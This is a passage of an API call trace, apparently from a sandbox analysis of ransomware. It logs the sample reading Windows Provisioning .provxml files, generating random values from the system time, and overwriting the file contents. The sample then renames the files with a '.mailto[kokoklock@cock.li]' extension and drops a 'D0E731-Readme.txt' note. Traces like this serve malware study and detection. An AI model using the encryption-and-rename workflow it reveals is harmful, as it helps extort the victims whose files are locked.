lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x6c, lpOverlapped=0x0) returned 1 [0085.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x20, lpOverlapped=0x0) returned 1 [0085.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x4, lpOverlapped=0x0) returned 1 [0085.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0085.252] CloseHandle (hObject=0x2f4) returned 1 [0085.252] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x3420928 [0085.252] wcscpy (in: _Dest=0x3420928, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.252] wcscat (in: _Dest=0x3420928, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.252] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.253] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420928) returned 1 [0085.254] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.254] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" [0085.254] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.254] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.254] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.254] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2cc3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2cc3f8ec*=0x481, lpOverlapped=0x0) returned 1 [0085.255] CloseHandle (hObject=0x2f4) returned 1 [0085.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482af8) returned 1 [0085.255] RtlExitUserThread (Status=0x1) Thread: id = 1280 os_tid = 0x11e0 [0085.257] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.258] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.260] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.262] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccbfdec | out: lpFileSize=0x2ccbfdec*=2365) returned 1 [0085.262] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x939, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.262] ReadFile (in: hFile=0x2f4, lpBuffer=0x2ccbfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x2ccbfdc0*, lpNumberOfBytesRead=0x2ccbfdbc*=0x4, lpOverlapped=0x0) returned 1 [0085.298] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0085.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491858 [0085.299] NtQuerySystemTime (in: CurrentTime=0x2ccbfd98 | out: CurrentTime=0x2ccbfd98*=132121176431954052) returned 0x0 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x31a3640d [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xd85a526 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x6bcfac27 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xfb724481 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x34145289 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x31f2d527 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x96a2d2b1 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xb000fc1a [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xef42b919 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x6ede636b [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xc119ab2b [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xa15343dd [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x78816f2e [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x5d61fa4 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x2666e767 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x30fe0d0e [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x9e6c4b04 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xfe663eec [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x4667a560 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x8415e398 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xb62747d3 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x4a8f2ec5 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xa20a0f54 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xc389ed3e [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x772be4d6 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x8c050b1b [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x663d3f23 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xc28fa4d8 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0x3c14436e [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xc6c13360 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xe9bbdd07 [0085.299] RtlRandom (in: Seed=0x2ccbfda4 | out: Seed=0x2ccbfda4) returned 0xb1ca6e90 [0085.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0085.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.310] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x93d, lpNumberOfBytesRead=0x2ccbfd98, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ccbfd98*=0x93d, lpOverlapped=0x0) returned 1 [0085.321] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccbfd60 | out: lpNewFilePointer=0x0) returned 1 [0085.321] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x93d, lpNumberOfBytesWritten=0x2ccbfd94, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2ccbfd94*=0x93d, lpOverlapped=0x0) returned 1 [0085.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0085.321] WriteFile (in: hFile=0x2f4, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ccbfd90, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2ccbfd90*=0x20, lpOverlapped=0x0) returned 1 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.321] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x8, lpOverlapped=0x0) returned 1 [0085.322] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ccbfdd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x2ccbfdd4*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x4, lpOverlapped=0x0) returned 1 [0085.322] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x4, lpOverlapped=0x0) returned 1 [0085.322] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x6c, lpOverlapped=0x0) returned 1 [0085.322] WriteFile (in: hFile=0x2f4, lpBuffer=0x3491808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x3491808*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x20, lpOverlapped=0x0) returned 1 [0085.322] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ccbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ccbfdbc*=0x4, lpOverlapped=0x0) returned 1 [0085.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.322] CloseHandle (hObject=0x2f4) returned 1 [0085.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x3420928 [0085.322] wcscpy (in: _Dest=0x3420928, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.322] wcscat (in: _Dest=0x3420928, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.322] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.323] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420928) returned 1 [0085.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.324] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.324] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.324] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.325] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2ccbfdb8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2ccbfdb8*=0x481, lpOverlapped=0x0) returned 1 [0085.326] CloseHandle (hObject=0x2f4) returned 1 [0085.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482908) returned 1 [0085.326] RtlExitUserThread (Status=0x1) Thread: id = 1281 os_tid = 0x11e4 [0085.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20 [0085.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.328] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.328] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2cd3fd88 | out: lpFileSize=0x2cd3fd88*=4120) returned 1 [0085.328] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.328] ReadFile (in: hFile=0x2f4, lpBuffer=0x2cd3fd5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x2cd3fd5c*, lpNumberOfBytesRead=0x2cd3fd58*=0x4, lpOverlapped=0x0) returned 1 [0085.330] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0085.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0085.330] NtQuerySystemTime (in: CurrentTime=0x2cd3fd34 | out: CurrentTime=0x2cd3fd34*=132121176432266350) returned 0x0 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xbc86ca51 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xbe6b9e43 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x7fa88796 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xbb5a665e [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x3d733228 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xc168aad1 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xa8b4a97b [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x7c718f8b [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xec40a6fb [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xb008ac83 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x76e98b36 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xc0f1377c [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xe4bc71cd [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xbb61c53d [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xdcc45526 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x8a9fe775 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x74b34141 [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xda45817d [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xa3b23a4c [0085.330] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xed460332 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x77b9354c [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x6629cc99 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x1b495543 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xab695640 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x69578071 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xb3df6381 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xead8ce1d [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x798423c8 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xfad541c1 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0x904de5aa [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xefc4c417 [0085.331] RtlRandom (in: Seed=0x2cd3fd40 | out: Seed=0x2cd3fd40) returned 0xe7291957 [0085.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0085.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 